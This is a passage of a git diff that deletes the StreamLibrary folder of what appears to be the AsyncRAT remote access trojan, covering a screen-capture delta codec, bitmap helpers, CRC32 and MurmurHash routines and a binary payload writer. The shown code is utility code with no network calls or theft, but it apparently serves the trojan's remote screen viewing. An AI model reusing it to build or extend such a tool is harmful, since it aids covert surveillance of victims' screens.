a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs +++ /dev/null @@ -1,285 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeQuickStream : IUnsafeCodec - { - public override ulong CachedSize { get; internal set; } - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private ulong[] EncodeBuffer; - - private int BlockWidth = 0; - private int BlockHeight = 0; - private Bitmap decodedBitmap; - - public List VerifyPoints = null; - - public Size CheckBlock { get; private set; } - public UnsafeQuickStream(int ImageQuality = 100) - : base(ImageQuality) - { - this.CheckBlock = new Size(50, 50);//width must be bigger then 3 - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = InputSize.Width * PixelSize; - RawLength = Stride * InputSize.Height; - - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = OutputRect.Width; - this.EncodedHeight = OutputRect.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width); - - VerifyPoints = Points; - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - for (int i = 0; i < Points.Count; i++) - { - Rectangle rect = Points[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth) - { - if (EncodeBuffer == null) - { - this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width)); - this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height)); - int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth)); - this.EncodeBuffer = new ulong[TotalBlocks]; - } - - List points = new List(); - int StartScan = Scan0.ToInt32(); - - for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height) - { - if (y + CheckBlock.Height > OutputRect.Height) - break; - - for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width) - { - if (x + CheckBlock.Width > OutputRect.Width) - break; - - int EncodeOffset = GetOffset(x, y); - long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth); - ulong* ScanPtr = (ulong*)(StartScan + offset); - - if (EncodeBuffer[EncodeOffset] != *ScanPtr) - { - EncodeBuffer[EncodeOffset] = *ScanPtr; - - Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height); - int index = points.Count - 1; - if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X) - { - Rectangle rect = points[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - points[index] = cBlock; - } - else - { - points.Add(cBlock); - } - } - } - } - return points; - } - - private Point GetOffsetPoint(int x, int y) - { - return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth, - (int)Math.Floor((double)(x / CheckBlock.Width))); - } - - private int GetOffset(int x, int y) - { - return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth + - (int)Math.Floor((double)(x / CheckBlock.Width)); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs deleted file mode 100644 index 7e89054..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/CRC32.cs +++ /dev/null @@ -1,186 +0,0 @@ -// Tamir Khason http://khason.net/ -// -// Released under MS-PL : 6-Apr-09 -using System; -using System.Collections.Generic; -using System.Text; -using System.Security.Cryptography; -using System.Collections; -using System.IO; - -namespace StreamLibrary.src -{ - /// Implements a 32-bits cyclic redundancy check (CRC) hash algorithm. - /// This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384, - /// or SHA512 in the System.Security.Cryptography namespace. - public class CRC32 : HashAlgorithm - { - #region CONSTRUCTORS - /// Creates a CRC32 object using the . - public CRC32() - : this(DefaultPolynomial) - { - } - - /// Creates a CRC32 object using the specified polynomial. - /// The polynomical should be supplied in its bit-reflected form. . - public CRC32(uint polynomial) - { - HashSizeValue = 32; - _crc32Table = (uint[])_crc32TablesCache[polynomial]; - if (_crc32Table == null) - { - _crc32Table = CRC32._buildCRC32Table(polynomial); - _crc32TablesCache.Add(polynomial, _crc32Table); - } - Initialize(); - } - - // static constructor - static CRC32() - { - _crc32TablesCache = Hashtable.Synchronized(new Hashtable()); - _defaultCRC = new CRC32(); - } - #endregion - - #region PROPERTIES - /// Gets the default polynomial (used in WinZip, Ethernet, etc.) - /// The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc. - public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7; - #endregion - - #region METHODS - /// Initializes an implementation of HashAlgorithm. - public override void Initialize() - { - _crc = _allOnes; - } - - /// Routes data written to the object into the hash algorithm for computing the hash. - protected override void HashCore(byte[] buffer, int offset, int count) - { - for (int i = offset; i < count; i++) - { - ulong ptr = (_crc & 0xFF) ^ buffer[i]; - _crc >>= 8; - _crc ^= _crc32Table[ptr]; - } - } - - /// Finalizes the hash computation after the last data is processed by the cryptographic stream object. - protected override byte[] HashFinal() - { - byte[] finalHash = new byte[4]; - ulong finalCRC = _crc ^ _allOnes; - - finalHash[0] = (byte)((finalCRC >> 0) & 0xFF); - finalHash[1] = (byte)((finalCRC >> 8) & 0xFF); - finalHash[2] = (byte)((finalCRC >> 16) & 0xFF); - finalHash[3] = (byte)((finalCRC >> 24) & 0xFF); - - return finalHash; - } - - /// Computes the CRC32 value for the given ASCII string using the . - public static int Compute(string asciiString) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(asciiString)); - } - - /// Computes the CRC32 value for the given input stream using the . - public static int Compute(Stream inputStream) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(inputStream)); - } - - /// Computes the CRC32 value for the input data using the . - public static int Compute(byte[] buffer) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer)); - } - - /// Computes the hash value for the input data using the . - public static int Compute(byte[] buffer, int offset, int count) - { - _defaultCRC.Initialize(); - return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count)); - } - - /// Computes the hash value for the given ASCII string. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - public byte[] ComputeHash(string asciiString) - { - byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString); - return ComputeHash(rawBytes); - } - - /// Computes the hash value for the given input stream. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(Stream inputStream) - { - byte[] buffer = new byte[4096]; - int bytesRead; - while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0) - { - HashCore(buffer, 0, bytesRead); - } - return HashFinal(); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer) - { - return ComputeHash(buffer, 0, buffer.Length); - } - - /// Computes the hash value for the input data. - /// The computation preserves the internal state between the calls, so it can be used for computation of a stream data. - new public byte[] ComputeHash(byte[] buffer, int offset, int count) - { - HashCore(buffer, offset, count); - return HashFinal(); - } - #endregion - - #region PRIVATE SECTION - private static uint _allOnes = 0xffffffff; - private static CRC32 _defaultCRC; - private static Hashtable _crc32TablesCache; - private uint[] _crc32Table; - private uint _crc; - - // Builds a crc32 table given a polynomial - private static uint[] _buildCRC32Table(uint polynomial) - { - uint crc; - uint[] table = new uint[256]; - - // 256 values representing ASCII character codes. - for (int i = 0; i < 256; i++) - { - crc = (uint)i; - for (int j = 8; j > 0; j--) - { - if ((crc & 1) == 1) - crc = (crc >> 1) ^ polynomial; - else - crc >>= 1; - } - table[i] = crc; - } - - return table; - } - - private static int ToInt32(byte[] buffer) - { - return BitConverter.ToInt32(buffer, 0); - } - #endregion - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs deleted file mode 100644 index 5ea4bfc..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/ExtensionAttribute.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace System.Runtime.CompilerServices -{ - [AttributeUsage(AttributeTargets.Method)] - public sealed class ExtensionAttribute : Attribute - { - public ExtensionAttribute() { } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs deleted file mode 100644 index 82590e7..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/Extentions.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.src -{ - public static unsafe class Extensions - { - public static SortedList> RectanglesTo2D(this Rectangle[] rects) - { - SortedList> Rects = new SortedList>(); - for (int i = 0; i < rects.Length; i++) - { - if (!Rects.ContainsKey(rects[i].Y)) - Rects.Add(rects[i].Y, new SortedList()); - - if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) - Rects[rects[i].Y].Add(rects[i].X, rects[i]); - } - return Rects; - } - - public static SortedList> Rectangle2DToRows(this SortedList> Rects) - { - SortedList> RectRows = new SortedList>(); - - for (int i = 0; i < Rects.Values.Count; i++) - { - if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) - { - RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); - } - if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) - { - RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); - } - - Rectangle EndRect = Rects.Values[i].Values[0]; - for (int x = 1; x < Rects.Values[i].Values.Count; x++) - { - Rectangle CurRect = Rects.Values[i].Values[x]; - Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; - if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) - { - RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height); - EndRect = Rects.Values[i].Values[x]; - } - else - { - EndRect = Rects.Values[i].Values[x]; - RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); - } - } - } - return RectRows; - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs deleted file mode 100644 index 319d630..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/FastBitmap.cs +++ /dev/null @@ -1,353 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class FastBitmap - { - public Bitmap bitmap { get; set; } - public BitmapData bitmapData { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public PixelFormat format { get; private set; } - public DateTime BitmapCreatedAt; - public bool IsLocked { get; private set; } - - public int Stride - { - get { return bitmapData.Stride; } - } - - public FastBitmap(Bitmap bitmap, PixelFormat format) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public FastBitmap(Bitmap bitmap) - { - this.format = bitmap.PixelFormat; - - switch (format) - { - case PixelFormat.Format32bppArgb: - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - case PixelFormat.Format8bppIndexed: - case PixelFormat.Format4bppIndexed: - case PixelFormat.Format1bppIndexed: - break; - default: - throw new NotSupportedException(format + " is not supported."); - } - - this.bitmap = bitmap; - this.Width = this.bitmap.Width; - this.Height = this.bitmap.Height; - this.format = format; - Lock(); - BitmapCreatedAt = DateTime.Now; - } - - public Color GetPixel(int x, int y) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - byte A = position[3]; - byte R = position[2]; - byte G = position[1]; - byte B = position[0]; - return Color.FromArgb(A, R, G, B); - } - - public void SetPixel(int x, int y, Color color) - { - byte* position = (byte*)bitmapData.Scan0.ToPointer(); - position += CalcOffset(x, y); - - position[3] = color.A; - position[2] = color.R; - position[1] = color.G; - position[0] = color.B; - } - - public Color GetPixel(int x, int y, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - byte R = ImgData[offset]; - byte G = ImgData[offset + 1]; - byte B = ImgData[offset + 2]; - return Color.FromArgb(255, R, G, B); - } - return Color.FromArgb(255, 0, 0, 0); - } - public void SetPixel(int x, int y, Color color, byte[] ImgData) - { - long offset = CalcOffset(x, y) + 4; - if (offset + 4 < ImgData.Length) - { - ImgData[offset] = color.R; - ImgData[offset + 1] = color.G; - ImgData[offset + 2] = color.B; - ByteArrayToBitmap(ImgData); - } - } - - public void DrawRectangle(Point begin, Point end, Color color) - { - for (int x = begin.X; x < end.X; x++) - { - for (int y = begin.Y; y < end.Y; y++) - { - SetPixel(x, y, color); - } - } - } - - public Int64 CalcOffset(int x, int y) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * bitmapData.Stride) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * bitmapData.Stride) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * bitmapData.Stride) + x; - case PixelFormat.Format4bppIndexed: - return (y * bitmapData.Stride) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * bitmapData.Stride) + (x * 8); - } - return 0; - } - - public static int CalcImageOffset(int x, int y, PixelFormat format, int width) - { - switch (format) - { - case PixelFormat.Format32bppArgb: - return (y * (width * 4)) + (x * 4); - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - return (y * (width * 3)) + (x * 3); - case PixelFormat.Format8bppIndexed: - return (y * width) + x; - case PixelFormat.Format4bppIndexed: - return (y * (width / 2)) + (x / 2); - case PixelFormat.Format1bppIndexed: - return (y * (width * 8)) + (x * 8); - default: - throw new NotSupportedException(format + " is not supported."); - } - } - - public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor) - { - Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y); - for (int x = BeginPoint.X; x < this.Width; x++) - { - Color prevColor = GetPixel(x, BeginPoint.Y); - - if (curColor.R != prevColor.R || - curColor.G != prevColor.G || - curColor.B != prevColor.B) - { - EndPoint = new Point(x, BeginPoint.Y); - RetColor = curColor; - return; - } - } - - EndPoint = new Point(this.Width, BeginPoint.Y); - RetColor = curColor; - } - - public void Unlock() - { - if (IsLocked) - { - bitmap.UnlockBits(bitmapData); - IsLocked = false; - } - } - public void Lock() - { - if (!IsLocked) - { - bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format); - IsLocked = true; - } - } - - public byte[] ToByteArray() - { - int bytes = Math.Abs(bitmapData.Stride) * Height; - byte[] rgbValues = new byte[bytes]; - System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes); - return rgbValues; - } - - public void ByteArrayToBitmap(byte[] data) - { - System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length); - } - - public void Dispose() - { - if (bitmap != null) - { - try { bitmap.UnlockBits(bitmapData); } - catch { } - try { bitmap.Dispose(); } - catch { } - try - { - bitmap = null; - bitmapData = null; - } - catch { } - } - } - - /// Get the byte points where to read from in a byte array - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format) - { - List offsets = new List(); - - for (int y = beginPoint.Y; y < endPoint.Y; y++) - { - int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4); - int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4); - - switch (format) - { - case PixelFormat.Format32bppArgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format8bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height)) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format4bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - case PixelFormat.Format1bppIndexed: - { - if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8) - break; - offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1)); - break; - } - default: - { - throw new NotSupportedException(format + " is not supported."); - } - } - - } - return offsets.ToArray(); - } - - /// Get the byte points in 2D - /// The beginning of the X, Y - /// The end of the X, Y - /// The size of the image - /// Slice the byte points into pieces to get the byte points faster - public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format) - { - int Width = endPoint.X - beginPoint.X; - int Height = endPoint.Y - beginPoint.Y; - - float Wsize = ((float)Width / (float)SlicePieces); - float Hsize = ((float)Height / (float)SlicePieces); - - //+1 just to make sure we are not going outside the array - if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F; - if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F; - - ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][]; - Point tmp = new Point(0, 0); - for (int y = beginPoint.Y; y < Height; y += SlicePieces) - { - for (int x = beginPoint.X; x < Width; x += SlicePieces) - { - ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format); - tmp.X++; - } - tmp.X = 0; - tmp.Y++; - } - return ImageArrayOffsets; - } - } - - public class ArrayOffset - { - public int BeginOffset { get; private set; } - public int EndOffset { get; private set; } - public int Stride { get; private set; } - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - - public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height) - { - this.BeginOffset = begin; - this.EndOffset = end; - this.Stride = Stride; - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs deleted file mode 100644 index ba82bff..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/MurmurHash2Unsafe.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class MurmurHash2Unsafe - { - const UInt32 m = 0x5bd1e995; - const Int32 r = 24; - - public unsafe UInt32 Hash(Byte* data, int length) - { - if (length == 0) - return 0; - UInt32 h = 0xc58f1a7b ^ (UInt32)length; - Int32 remainingBytes = length & 3; // mod 4 - Int32 numberOfLoops = length >> 2; // div 4 - UInt32* realData = (UInt32*)data; - while (numberOfLoops != 0) - { - UInt32 k = *realData; - k *= m; - k ^= k >> r; - k *= m; - - h *= m; - h ^= k; - numberOfLoops--; - realData++; - } - switch (remainingBytes) - { - case 3: - h ^= (UInt16)(*realData); - h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16; - h *= m; - break; - case 2: - h ^= (UInt16)(*realData); - h *= m; - break; - case 1: - h ^= *((Byte*)realData); - h *= m; - break; - default: - break; - } - - // Do a few final mixes of the hash to ensure the last few - // bytes are well-incorporated. - - h ^= h >> 13; - h *= m; - h ^= h >> 15; - - return h; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs deleted file mode 100644 index a76fb23..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace StreamLibrary.src -{ - public class PayloadWriter : IDisposable - { - public Stream vStream { get; set; } - public PayloadWriter() - { - vStream = new MemoryStream(); - } - public PayloadWriter(Stream stream) - { - vStream = stream; - } - - public void WriteBytes(byte[] value) - { - vStream.Write(value, 0, value.Length); - } - - public void WriteBytes(byte[] value, int Offset, int Length) - { - vStream.Write(value, Offset, Length); - } - - public void WriteInteger(int value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - /// - /// A integer with 3 bytes not 4 - /// - public void WriteThreeByteInteger(int value) - { - WriteByte((byte)value); - WriteByte((byte)(value >> 8)); - WriteByte((byte)(value >> 16)); - } - - public void WriteUInteger(uint value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteShort(short value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteUShort(ushort value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteULong(ulong value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - - public void WriteByte(byte value) - { - vStream.WriteByte(value); - } - - public void WriteBool(bool value) - { - WriteByte(value ? (byte)1 : (byte)0); - } - - public void WriteDouble(double value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteLong(long value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteFloat(float value) - { - WriteBytes(BitConverter.GetBytes(value)); - } - public void WriteDecimal(decimal value) - { - BinaryWriter writer = new BinaryWriter(vStream); - writer.Write(value); - } - - public void WriteString(string value) - { - if (!(value == null)) - WriteBytes(System.Text.Encoding.Unicode.GetBytes(value)); - else - throw new NullReferenceException("value"); - vStream.WriteByte(0); - vStream.WriteByte(0); - } - - public int Length - { - get { return (int)vStream.Length; } - } - - public void Dispose() - { - vStream.Close(); - vStream.Dispose(); - vStream = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs deleted file mode 100644 index 71ba44f..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PointerHelper.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - /// - /// A helper class for pointers - /// - public class PointerHelper - { - private int _offset; - - public IntPtr Pointer - { - get; - private set; - } - - public int 